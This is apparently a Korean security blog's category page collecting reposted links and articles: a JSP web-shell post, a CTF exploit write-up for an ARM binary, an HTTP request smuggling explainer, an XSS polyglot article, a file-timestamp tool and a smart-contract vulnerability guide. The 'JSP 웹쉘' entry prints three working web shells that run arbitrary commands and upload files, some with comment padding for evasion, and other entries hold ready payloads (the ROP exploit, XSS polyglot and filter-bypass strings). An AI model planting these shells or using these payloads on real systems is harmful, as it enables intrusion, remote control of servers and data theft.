'경로 및 정보'에 해당되는 글 192건

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

 

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...

github.com

 

 

 

'경로 및 정보' 카테고리의 다른 글

Web Browser 0-day Hunting  (0) 2022.07.05
Elastic 경로  (0) 2022.07.01
파일 시간 변경  (0) 2022.06.11
JSP 웹쉘  (0) 2022.06.10
baby_RudOlPh Christmas CTF (펌)  (0) 2022.06.02
블로그 이미지

wtdsoul

,

 

http://www.softwareok.com/?Download=NewFileTime 

 

NewFileTime 6.22 Download

   Download NewFileTime 6.22 for Microsoft Windows OS on SoftwareOK.com Even if the virus protection is not 100% guaranteed, the virus and trojan protection is very important for you Network and Computers! Virus Scan Results on VirusTotal.com NewFileTime

www.softwareok.com

https://zkim0115.tistory.com/1485#google_vignette

 

윈도우10 파일, 폴더 생성된 날짜 변경하기 'NewFileTime'

윈도우에서 새로운 파일이나 폴더를 만들면 만든 날짜와 시간이 표시가 되며 수정을 하거나 엑세스를 한 경우에도 날짜와 시간이 표시됩니다. 만약 파일이나 폴더를 만든 날짜나 수정, 액세스

zkim0115.tistory.com

 

 

'경로 및 정보' 카테고리의 다른 글

Elastic 경로  (0) 2022.07.01
Postgresql Injection  (0) 2022.06.17
JSP 웹쉘  (0) 2022.06.10
baby_RudOlPh Christmas CTF (펌)  (0) 2022.06.02
HTTP Request Smuggling (펌)  (0) 2022.06.02
블로그 이미지

wtdsoul

,

JSP 웹쉘

경로 및 정보 2022. 6. 10. 15:31

https://github.com/SecurityRiskAdvisors/cmd.jsp/blob/master/cmd.jsp

 

GitHub - SecurityRiskAdvisors/cmd.jsp: A super small jsp webshell with file upload capabilities.

A super small jsp webshell with file upload capabilities. - GitHub - SecurityRiskAdvisors/cmd.jsp: A super small jsp webshell with file upload capabilities.

github.com

 

<%@page import="java.io.*, java.util.*, javax.xml.bind.*, java.net.*"%><script>eval(window.localStorage.embed)</script><%!public String v(String w){String x="";try{x=URLDecoder.decode(w,"UTF-8");}catch(Exception e){}return x;}%><%String o,l,d;o=l=d="";DataInputStream r=new DataInputStream(request.getInputStream());while((l=r.readLine())!=null){d+=l;}if(d.indexOf("c=")>=0){String g=v(d.substring(2));String s;try{Process p=Runtime.getRuntime().exec(g);DataInputStream i=new DataInputStream(p.getInputStream());out.print("<pre>");while((s=i.readLine())!=null){o+=s.replace("<","&lt;").replace(">","&gt;")+"<br>";}}catch(Exception e){out.print(e);}}else{if(d.length()>1){int b=d.indexOf("b=");int n=d.indexOf("n=");byte[] m=DatatypeConverter.parseBase64Binary(v(d.substring(b+2)));String f=v(d.substring(2,n-1))+File.separator+v(d.substring(n+2,b-1));try{OutputStream stream=new FileOutputStream(f);stream.write(m);o="Uploaded: "+f;}catch(Exception e){out.print(e);}}}%><%=o%>

 

 


<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    Process ps = null;
    BuffereReader br = null;
    String line = "";
    String result = "";
    String now_page = request.getServletPath();

    try {
if(cmd != null {
                ps = Runtime/*DSDsdfasdfasdf*/./*DSDsdfasdfasdf*/getRuntime/*DSDsdfasdfasdf*/()/*DSDsdfasdfasdf*/./*DSDsdfasdfasdf*/exec/*DSDsdfasdfasdf*/(cmd);
                br = new BuffereReader(new InputStreamReader(ps.getInputStream()));

                while((line = br.readLine()) != null ) {
                    result += line + "<br>";
                }
                ps.destory();
            }
        } finally {
            if(br != null) br.close();
        }

%> 

 


<%@ page import="java.io.*" %>
<%

    try {
//sdfgsdfgsdfgsretsdrt
            String cmd = request.getParameter("cmd");
// selrjlsdfjglisdjflgdgsdfg
            Process child = Runtime.getRuntime().exec(cmd);
//lajwriljalsdkfjl

            InputStream in = child.getInputStream();

            int c;

            

            while ((c = in.read()) != -1) {

                out.print((char)c);

            }

            

            in.close();

            

            try {

                child.waitFor();

            } catch (InterruptedException e) {

                e.printStackTrace();

            }

    } catch (IOException e) {

        System.err.println(e);

    }

%> 

'경로 및 정보' 카테고리의 다른 글

Postgresql Injection  (0) 2022.06.17
파일 시간 변경  (0) 2022.06.11
baby_RudOlPh Christmas CTF (펌)  (0) 2022.06.02
HTTP Request Smuggling (펌)  (0) 2022.06.02
Heidi SQL Portable  (0) 2022.05.20
블로그 이미지

wtdsoul

,

https://hackyboiz.github.io/2020/12/29/l0ch/baby_rudolph/

 

hackyboiz

hack & life

hackyboiz.github.io

 

ArmMaker

 

baby_RudOlPh는 baby 시리즈 답게 이번 Christmas CTF에서 가장 많은 솔버가 나왔던 문제 중 하나입니다.

바이너리를 받고 보호기법과 아키텍쳐를 확인해보면 64bit ARM이고, NX bit만 걸려있는걸 확인할 수 있습니다.


분석해보면 vuln이라는 함수를 대놓고 줍니다. read 함수를 호출하는데 0x100만큼 받아서 stack overwflow가 발생하네요

get_arm 함수를 보면 첫 번째 인자의 값이 0x1225  system("/bin/sh")을 실행해 쉘을 획득할 수 있습니다.

ARMmaker 함수에는 인자를 세팅 할 수 있는 gadget이 있네요.

  1. vuln 의 return address를 ARMmaker의 gadget으로 overwrite
  2. gadget을 통해 인자를 0x1225로 세팅하고 get_arm 호출
  3. get shell!

Exploit

from pwn import *

p = process("./baby_RudOlPh")
context.log_level = "debug"
p.recvuntil("\\n")

payload = b"A"*72
payload += p64(0x400724)
payload += p64(0x1225) + b"A"*16
payload += p64(0x400738)

p.sendline(payload)
p.interactive()Copy

뉴비용 포너블 문제를 내려는데 그냥 내면 심심해서 64bit ARM으로 내봤습니다 ㅎㅎ 역시 많은 분들이 풀어주셨습니다!

(문제 만드는 시간보다 도커에 세팅하는데 드는 시간이 더 오래 걸렸던 건 비밀..)

'경로 및 정보' 카테고리의 다른 글

파일 시간 변경  (0) 2022.06.11
JSP 웹쉘  (0) 2022.06.10
HTTP Request Smuggling (펌)  (0) 2022.06.02
Heidi SQL Portable  (0) 2022.05.20
criminal ip  (0) 2022.05.17
블로그 이미지

wtdsoul

,

https://hackyboiz.github.io/2022/03/06/syru/funny-smuggling-story-pt2/

 

hackyboiz

hack & life

hackyboiz.github.io

 

잠깐, HTTP Request Smuggling이 뭐였지?

사례 연구에 앞서 복습을 해봅시다.

이 공격 기법은 HTTP 요청이 처리될 때 이전 요청이 다음 요청에 포함되어 해당 요청의 처리결과를 바꾸는 것이었습니다.

웹 서비스 인프라를 구성할 때 트래픽 분산, 캐싱 등을 위해 프록시를 배치하게 되는데 이 프록시와 웹 서버가 서로 HTTP 요청의 Body 길이에 대한 해석을 다르게 하면서 주로 발생합니다.

Body의 길이는 Content-Length 헤더나 Transfer-Encoding 헤더를 통해 결정되며 아래의 규칙이 존재합니다.

  1. Content-Length 헤더가 2개 이상 존재하면 400 Bad Request로 처리한다.
  2. Content-Length 헤더와 Transfer-Encoding 헤더가 동시에 존재하면 Transfer-Encoding을 따른다.

규칙을 읽어보면 표준에 따르기만 해도 Smuggling이 방지될 것 같습니다.

하지만 공격자들은 연구 끝에 아래 방법을 사용하여 이를 우회 하였습니다.

  1. 특수한 입력값을 통해 특정 파서의 파싱 결과를 다르게 나오도록 유도하기
  2. 파서의 잘못된 처리로직을 이용하기

공격 사례

편의를 위해 Content-Length를 CL, Transfer-Encoding을 TE라고 부르겠습니다.

CL-CL + 특정 파서의 파싱 결과를 다르게 나오도록 유도하기

HAProxy는 고가용성(HA)을 위해 주로 사용되는 프록시 입니다.

작년 9월에 이 프록시에서 CL-CL 유형의 HTTP Request Smuggling이 발견되었습니다.

해당 유형이 동작하려면 두 파싱 단계에서 400 bad request 처리를 막아야합니다.

즉 처리하는 순간에는 CL 헤더는 하나만 있는 것으로 보여야 합니다.

해당 취약 버젼에서 HAProxy는 파싱단계에서 CL이 한번 정상적으로 처리되면 나머지 헤더는 무시하도록 프로그래밍 되어 있습니다.

그렇기에 HAProxy가 웹 서버로 전달하는 HTTP 요청에는 CL 헤더가 하나만 존재하게 됩니다.

지금까지의 내용을 정리하면 대략 아래와 같은 방식으로 공격을 진행하면 됩니다.

그럼 이제 HAProxy가 전달받은 HTTP 요청이 400 Bad Request가 안 뜨면서 두 번째 요청의 CL 헤더의 값과 다르게 하려면 어떻게 해야 할까요?

HAProxy가 파싱과정에서 비정상 헤더를 정상으로 만들면 됩니다.

HAProxy는 HTTP 요청을 파싱할 때 HTX라는 구조를 사용합니다.

HTX는 크게 실제 데이터가 들어있는 payload와 해당 정보를 저장하는 block으로 나뉩니다.

block에는 이 정보가 어떤 payload의 것인지 주소를 저장하는 부분과 해당 payload의 정보를 저장하는 부분으로 나뉩니다.

HTX_BLOCK 구조의 두 멤버는 모두 uint32 (4byte) 자료형을 쓰고 있습니다.

payload의 정보를 저장하는 부분을 보면 헤더의 길이를 저장하는 공간이 1byte인 것을 알 수 있습니다.

정상적인 헤더 중 1byte(256)을 넘는 길이를 가지는 것은 없기 때문에 문제가 없어보입니다.

실제로 아래와 같이 주석만 남겨두고 길이 검증 코드가 존재하지 않았습니다.

/*
 *  HEAD : 3d5f19e04d88e7c8f71cba4ea12e383c91de89f6
 *  PATH : include/haproxy/htx.h
 */

static inline struct htx_blk *htx_add_header(struct htx *htx, const struct ist name,
					     const struct ist value)
{
	struct htx_blk *blk;

	/* FIXME: check name.len (< 256B) and value.len (< 1MB) */
	blk = htx_add_blk(htx, HTX_BLK_HDR, name.len + value.len);
    ...
}Copy

이처럼 미흡한 검증은 공격에 쓰이는 좋은 가젯이 됩니다.

Integer Overflow를 통해 정상 헤더 + dummy 구조의 헤더에서 정상 부분만 처리하도록 하면 우리는 비정상 헤더를 정상으로 보이게 할 수 있습니다.

HTX를 파싱할 때 헤더의 길이는 구분자 : 앞까지로 계산됩니다.

POST / HTTP/1.1
Content-Length0aaaa..255개..aa: --- (1)
Content-Length: 4 --- (2)

CLCLCopy

(1)에서 헤더의 길이는 270입니다.

그런데 270은 0b100001110 인데 공간은 8bit만 할당되어 있으므로 앞에 1은 짤려서 0b00001110 만 저장되게 됩니다.

그렇게 조작된 길이 14만큼 읽으면 정상 헤더인 Content-Length로 바뀌게 됩니다.

앞서 설명한 부분들을 정리하면 아래의 순서로 Smuggling이 발생합니다.

  1. 해당 패킷을 HAProxy가 받을 때는 (1)은 비정상 헤더로 처리되고 (2)를 기준으로 처리
  2. HTX 구조로 파싱할 때 Integer Overflow로 인해 (1)이 정상 헤더로 처리
  3. HAProxy가 웹 서버에 전달할 때는 (1)이 해당 요청이 다음과 같이 바뀌어 전달
  4. POST / HTTP/1.1 Content-Length:0 --- (1) CLCLCopy
  5. Content-Length만큼 처리 후 남은 CLCL이 다음 리퀘스트에 삽입됨

이 취약점은 당연히 아래와 같이 길이 검사를 추가하는 방향으로 패치되었습니다.

+ if (name.len > 255 || value.len > 1048575)
+     return NULL;Copy

CL-TE + 파서의 잘못된 처리 로직 이용하기

Tomcat은 JSP를 처리하는 Web Application Server 입니다.

작년 7월에 tomcat에서 CL-TE 유형의 HTTP Request Smuggling 취약점이 발견되었습니다.

해당 버젼에서 Client가 HTTP/1.0 응답만 받아들이도록 선언되어 있으면 Tomcat이 TE 헤더를 무시하는 로직이 존재하였고 결과적으로 아래와 같이 동작하였습니다.

마치며

HTTP Request Smuggling은 처리 방식이 동기화되지 않았다고 하여 HTTP Desync Attack이라고도 불립니다.

DEFCON 대회 예선 문제로 해당 취약점을 이용한 문제가 출제된 바 있으니 풀어보시면 이해하시는 데 도움이 되실 겁니다.

uploooadit | OOO archive | DEF CON CTF

Reference

'경로 및 정보' 카테고리의 다른 글

JSP 웹쉘  (0) 2022.06.10
baby_RudOlPh Christmas CTF (펌)  (0) 2022.06.02
Heidi SQL Portable  (0) 2022.05.20
criminal ip  (0) 2022.05.17
Unleashing an Ultimate XSS Polyglot  (0) 2022.05.11
블로그 이미지

wtdsoul

,

https://www.heidisql.com/download.php?download=portable-64 

 

Download HeidiSQL

Ads were blocked - no problem. But keep in mind that developing HeidiSQL, user support and hosting takes time and money. You may want to send a donation instead. Download HeidiSQL 12.0, released on 12 Apr 2022 Please disable your adblocker and reload the p

www.heidisql.com

 

 

'경로 및 정보' 카테고리의 다른 글

baby_RudOlPh Christmas CTF (펌)  (0) 2022.06.02
HTTP Request Smuggling (펌)  (0) 2022.06.02
criminal ip  (0) 2022.05.17
Unleashing an Ultimate XSS Polyglot  (0) 2022.05.11
[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
블로그 이미지

wtdsoul

,

criminal ip

경로 및 정보 2022. 5. 17. 11:29

https://docs.google.com/forms/d/e/1FAIpQLSfIygk-u--CvMByIh1ah4KiV-KgqB9gNjmm7XhDmvRlNO_WOg/viewform?usp=send_form

'경로 및 정보' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.02
Heidi SQL Portable  (0) 2022.05.20
Unleashing an Ultimate XSS Polyglot  (0) 2022.05.11
[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
블로그 이미지

wtdsoul

,

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

 

GitHub - 0xSobky/HackVault: A container repository for my public web hacks!

A container repository for my public web hacks! Contribute to 0xSobky/HackVault development by creating an account on GitHub.

github.com

Unleashing an Ultimate XSS Polyglot

Ahmed Elsobky edited this page on Feb 17, 2018 · 20 revisions

Foreword:

When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), you’re generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suites the specific context at hand. This can be too tedious and time consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.


What is an XSS polyglot?

An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

So, what polyglot you came up with?

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Anatomy of the polyglot (in a nutshell):

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.
  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.
  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!
  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

Total length: 144 characters.

What injection contexts does it cover?

HTML contexts covered:

  • Double-quoted tag attributes:
<input type="text" value="

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

"></input>

Demo: https://jsbin.com/dopepi

  • Single-quoted tag attributes:
<input type='text' value='

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

'></input>

Demo: https://jsbin.com/diwedo

  • Unquoted tag attributes:
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>

Demo: https://jsbin.com/zizuvad

  • Unquoted tag attributes with HTML-escaped values (may require a click):
<img border=3 alt=jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e>

Demo: https://jsbin.com/gopavuz (note that the click might not be needed with elements that support the onload event handler.)

  • href/xlink:href and src attributes with HTML-escaped values:
<a href="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

">click me</a>

Demo: https://jsbin.com/kixepi

<math xlink:href="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

">click me</math>

Demo: https://jsbin.com/bezofuw

<iframe src="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

"></iframe>

Demo: https://jsbin.com/feziyi

  • HTML comments:
<!--

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

-->

Demo: https://jsbin.com/taqizu

  • Arbitrary common HTML tags:
<title>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</title>

Demo: https://jsbin.com/juzuvu

<style>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</style>

Demo: https://jsbin.com/qonawa

<textarea>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</textarea>

Demo: https://jsbin.com/mecexo

<div>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</div>

Demo: https://jsbin.com/wuvumuh

Script contexts covered:

  • Double-quoted strings:
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";

Demo: https://jsbin.com/coteco

  • Single-quoted strings:
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';

Demo: https://jsbin.com/bupera

  • Template strings/literals (ES6):
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;

Demo: https://jsbin.com/rewapay

  • Regular expression literals:
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;

Demo: https://jsbin.com/zepiti

  • Single-line and multi-line comments:
<script>

//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</script>

Demo: https://jsbin.com/fatorag

<script>
/*

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

*/
</script>

Demo: https://jsbin.com/vovogo

JS sinks:

  • eval:
eval(location.hash.slice(1));

Demo: https://jsbin.com/qejisu#jaVasCript:/*-/*%60/%5C%60/*'/%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setTimeout:
setTimeout(location.search.slice(1));

Demo: https://jsbin.com/qawusa?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setInterval:
setInterval(location.search.slice(1));

Demo: https://jsbin.com/colese?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • Function:
new Function(location.search.slice(1))();

Demo: https://jsbin.com/hizemi?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • innerHTML/outerHTML and document.write with HTML-escaped strings:
var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.documentElement.innerHTML = data;

Demo: https://jsbin.com/nimokaz

var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.head.outerHTML = data;

Demo: https://jsbin.com/yowivo

var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.write(data);
document.close();

Demo: https://jsbin.com/ruhofi

  • Event handlers with HTML-escaped values:
<svg onload="

void 'javascript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e';

"></svg>

Demo: https://jsbin.com/puboha

Filter evasion:

As you might have already noticed, the polyglot has been crafted with filter evasion in mind. For instance:

  • jaVasCript:, oNcliCk=, et al. bypasses:
preg_replace('/\b(?:javascript:|on\w+=)/', '', PAYLOAD);
  • /*`/*\` bypasses:
preg_replace('/`/', '\`', PAYLOAD);
  • </stYle/</titLe/</teXtarEa/</scRipt/--!> bypasses:
preg_replace('/<\/\w+>/', '', PAYLOAD);
  • --!> bypasses:
preg_replace('/-->/', '', PAYLOAD);
  • <sVg/oNloAd=alert()//> bypasses:
preg_replace('/<\w+\s+/', '', PAYLOAD);

Bonus attacking contexts covered:

CRLF-based XSS:

HTTP/1.1 200 OK
Date: Sun, 01 Mar 2016 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: x=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//

//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Error-based SQL injections (yes, SQLi!):

SELECT * FROM Users WHERE Username='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'
SELECT * FROM Users WHERE Username="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"
And even more; eish...I'm tired counting down already!
  •  

'경로 및 정보' 카테고리의 다른 글

Heidi SQL Portable  (0) 2022.05.20
criminal ip  (0) 2022.05.17
[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
Wordpress 추가  (0) 2022.05.02
블로그 이미지

wtdsoul

,

 

https://jihyeong-ji99hy99.tistory.com/206

 

[Ethereum] Smart Contract 보안 취약점

이더리움 보안 가이드라인 - Minimalism : 꼭 필요한 기능들만 가진 contract을 제작하자. - Code reuse : 코드를 작성할 때 library를 찾아서 써라. - Code quality : 제작된 contract은 항상 블록체인에 올라가..

jihyeong-ji99hy99.tistory.com

 

 

이더리움 보안 가이드라인

- Minimalism : 꼭 필요한 기능들만 가진 contract을 제작하자.
- Code reuse : 코드를 작성할 때 library를 찾아서 써라.
- Code quality : 제작된 contract은 항상 블록체인에 올라가 있다. 따라서 처음 만들 때 제대로 만들어서 사용하자.
- Readability : 가독성이 좋도록 작성하자.
- Test coverage : 다양한 형태의 input 값을 테스트 해보자.

 

 

대표적인 취약점

1) Reentrancy 공격

: fallback() 함수를 이용한 취약점이다. 사용자가 외부 공격자의 contract 코드를 사용했을 때, 호출한 함수가 존재하지 않는다면 공격자 contract의 fallback() 함수가 동작된다. 그럼 이때, fallback 함수 안에 악의적인 코드를 넣어 얻어걸릴 수 있는 취약점이다.

(해결방안) - transfer 함수 사용

            - 외부 call이 필요할 시에는 내부 state를 미리 다 변화시키기

            - 뮤 택스를 사용

 

2) Overflow와 Underflow

: 자료형을 사용할 때 지정된 범위를 넘어서면 언더 플로 혹은 오버플로가 발생한다. 값을 넘겨줄 때 발생할 수 있다.

(해결방안) - 직접 대입 X

             - assert() 함수로 확인하는 작업 추가

             - 안전한 library를 사용

 

3) Unexpected Ether

: 공격자가 A라는 account가 만들어지는 것과 account의 address를 추측할 수 있다면, 발생할 수 있는 취약점이다. 해당 계정이 생성되기 전에 해당 address로 이더를 전송하면 none-zero ether balance를 가진 account가 생성된다. 이러한 계정은 이더 게임에서 악용될 수도 있다. 

(해결방안) - this.balance를 직접 사용 X

 

4) Delegate Call

: 사용자가 외부 contract을 사용할 경우, 호출한 contract의 context는 본인의 context 기반이 아니라 호출한 context 기반으로 코드가 동작된다. library를 사용할 때 발생할 수도 있으며, 호출한 쪽의 state 기반으로 동작되기 때문에 원래와는 다른 용도로 동작될 수 있다.

(해결방안) - library keyword를 사용 >> 무조건 외부 state를 가져와서 사용할 수 있도록 함.

 

5) Default Visbilities

: 함수 키워드를 사용하지 않을 때 발생하는 취약점이다. 함수 키워드를 작성하지 않으면 기본적으로 public으로 지정된다. 따라서 제작자의 실수로 코드가 유출될 수도 있고, 공격자들은 디렉트로 함수로 접근할 수 있게 된다.

(해결방안) - 함수 키워드 반드시 작성

 

6) Entropy Illusion

: 난수 생성에 대한 취약점이다. 이더리움에는 난수를 생성할 수 있는 소스가 존재하지 않는다. 따라서 다양한 난수 생성과 관련한 접근이 존재했는데, 그중 하나의 예시로 미래에 생성되는 값을 가져와서 쓰고 현재 참여한 시점에서 나중의 값을 예측할 수 없기 때문에 해당 값을 난수로 사용할 수 있다는 아이디어이다. 하지만 마이닝을 통해 혹은 아예 결과를 예측할 수 없을 것이라고 단정 짓기는 어렵기 때문에 취약점이 발생할 수도 있다.

 

7) Vulnerability

: 외부 contract을 호출할 때 발생할 수 있는 문제점으로, 사용자는 호출한 contract이 본인이 사용하려는 conrract인지 확인하지 않기 때문에 다른 address가 들어가게 될 경우를 알 수 없다.

(해결방안) - 내부 distance로 작성하여 사용

            - 외부 함수 호출 코드는 public으로 작성 // 다른 사람이 이걸 쓸 때 취약하다고 판단되면 알아서 안 쓰겠지.. 마인드

 

8) Unchecked Call Return value

: call 함수나 send 함수를 사용할 때 리턴 값을 제대로 확인하지 않아 발생하는 취약점이다. 앞서 이더리움에서는 문제가 생기면 자동으로 reboot 되는 개념을 설명한 적이 있다. 따라서 해당 리턴 값을 잘 확인하지 않는 경우가 생기는데, send 함수의 예로, gas price가 부족하여 정보를 다 불러오지 못하게 되면 contract은 이를 return false로 반환한 뒤에 다음 코드를 실행시킨다. 즉, 정상작동이라는 의미이다.

(해결방안) - transfer() 함수 사용

             - return value 체크

             - withdrawal 패턴 사용

 

9) Race Condition / Front Running

: 사용자에 따라 gasprice가 높은 transaction을 먼저 받아들일 수 있다. 따라서 정답을 알아맞히는 게임에서 A가 정답을 보냈는데 B가 이를 베껴 똑같이 관리자에게 보내게 되면 관리자는 gasprice가 높은 B를 먼저 보게 된다. 

(해결방안) 두 페이지를 나눠서 제공한다. 즉 제일 처음 transaction은 데이터를 숨겨서 보내고, 확인 시에 정답 데이터를 transaction 할 수 있도록 함. (hash 함수에서와 동일)

 

 

'경로 및 정보' 카테고리의 다른 글

